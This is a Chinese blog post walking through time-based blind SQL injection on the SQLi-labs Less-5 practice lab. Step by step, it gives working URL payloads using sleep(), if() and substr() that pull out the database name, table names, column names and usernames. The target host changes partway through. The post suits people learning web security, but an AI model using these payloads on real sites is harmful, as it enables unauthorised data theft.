天道酬勤

Sql-lab Less-5 盲注学习

##前言

技术还是太菜了……挖不到洞,自闭。学习吧。争取精通一下Sql手工注入,在没有waf的情况下。

##开工

靶机地址:http://43.247.91.228:84/(由Ms08067团队提供)。

废话不多说了,我们直接进入正题。

时间注入是利用sleep()benchmark()等函数让MySQL的执行时间变长

时间盲注多与IF(expr1,expr2,expr3)结合使用。如果expr1是TRUE,则IF()的返回值是expr2;否则返回expr3。

##时间盲注第一步

时间盲注第一步先检测数据库库名的长度:

利用 if (length(database())>1,sleep(5),1)

如果数据库库名的长度大于1,则MySQL查询休眠5秒,否则查询1。

http://43.247.91.228:84/Less-5/?id=1%27and+if+(length(database())>1,sleep(5),1)--+

因为数据库库名大于1,所以执行sleep(5),等待响应5秒钟。

当这条语句执行完,我们在 f12 中的网络里,可以看见网页响应的时间,5s左右,确实执行了sleep(5)。

接下来,就是遍历操作了,length(database())>1、>2、>3……,最终确定数据库的库名长度为8。

http://43.247.91.228:84/Less-5/?id=1%27and+if+(length(database())=8,sleep(5),1)--+

##时间盲注第二步

知道了数据库库名的长度,接下来,我们要做的就是得到数据库的名字

我们可以使用substr()函数来得到数据库的名字。

substr(database(),1,1),substr是截取的意思,这段代码的意思为 截取数据库的名字,从第一个字符开始,截取从第一个字符开始计算的一位,也就是截取数据库名字的第一个字符

确定字符,我们通常采用二分法

http://43.247.91.228:84/Less-5/?id=1%27and+if+(substr(database(),1,1)>%27m%27,sleep(5),1)--+(以字母m做26个字母的分界),发现延迟5s,也就是说第一个字符的值在m往后的剩下的13个字母中,用类似方法,最终确定第一个字母为 s

确定前两位http://47.101.155.100:4002/Less-5/?id=1%27and+if+(substr(database(),1,2)=%27se%27,sleep(5),1)--+

确定前三位http://47.101.155.100:4002/Less-5/?id=1%27and+if+(substr(database(),1,3)=%27sec%27,sleep(5),1)--+

……

确定数据库名http://47.101.155.100:4002/Less-5/?id=1%27and+if+(substr(database(),1,8)=%27security%27,sleep(5),1)--+

##时间盲注第三步:

数据库名知道了,继续爆表名

爆表名,当然还是需要用我们的select语句啦。

附上代码:

http://47.101.155.100:4002/Less-5/?id=1%27and+if+(substr((select+table_name+from+information_schema.tables+where+table_schema=%27security%27+limit+0,1),1,1)=%27e%27,sleep(5),1)--+

这段最重要的一个部分:limit+0,1),1,1)

0,1代表——数据库内的第一个表

1,1代表——表名的第一个字符

一个数据库肯定有很多表啦!

接下来,继续以代码说明:

爆第一个表的前两个字符:

+limit+0,1),1,2)=%27em%27,sleep(5),1)--+

爆第二个表的第一个字符:

+limit+1,1),1,1)=%27r%27,sleep(5),1)--+

关于Limit的用法:

limit 1,5 ——检索记录2-6

limit 2,5 ——检索记录3-7

limit 1,-1——检索记录2-最后

limit 5——检索前5个记录

limit 0,5——检索前5个记录

思路就是这样的,接下来手工重复操作就可以,就会得到全部的表。

##时间盲注第四步

爆完表名,就是爆列,思路和上面一样

爆users表中,第一个字段的第一个字符

http://47.101.155.100:4002/Less-5/?id=1%27and+if+(substr((select+column_name+from+information_schema.columns+where+table_name=%27users%27+limit+0,1),1,1)=%27i%27,sleep(5),1)--+

剩下的根据第三步讲述的重复操作就可以。

##时间盲注第五步

最后爆字段

查询username列中第一个字段的第一个字符:

http://47.101.155.100:4002/Less-5/?id=1%27and+if+(substr((select+username+from+users+limit+0,1),1,1)=%27d%27,sleep(5),1)--+

剩下的都是重复操作了。

##感想

盲注、布尔什么的手工太累了,还是写个python脚本好一些,或者直接拿sqlmap跑。

 

赞(3) 打赏
未经允许不得转载:HackerGu‘s Blog » Sql-lab Less-5 盲注学习
分享到: 更多 (0)

评论 抢沙发

  • 昵称 (必填)
  • 邮箱 (必填)
  • 网址

专注黑客技术的研究

联系我们联系我们

觉得文章有用就打赏一下文章作者

微信扫一扫打赏